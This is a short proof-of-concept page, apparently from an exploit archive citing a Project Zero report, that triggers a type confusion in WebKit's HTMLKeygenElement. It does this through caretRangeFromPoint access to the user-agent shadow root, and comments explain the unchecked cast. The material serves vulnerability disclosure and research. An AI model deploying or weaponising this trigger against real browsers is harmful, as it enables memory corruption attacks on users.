Apple WebKit - 'HTMLKeygenElement' Type Confusion

<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=999 -->

<keygen id="keygen_element" style="position:absolute; height: 100px; width: 100px;">
<script>
var range = document.caretRangeFromPoint(50, 50);
var shadow_tree_container = range.commonAncestorContainer;
shadow_tree_container.prepend("foo");
keygen_element.disabled = true;
</script>

<!--
What happens here:
1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript
2. HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type.
-->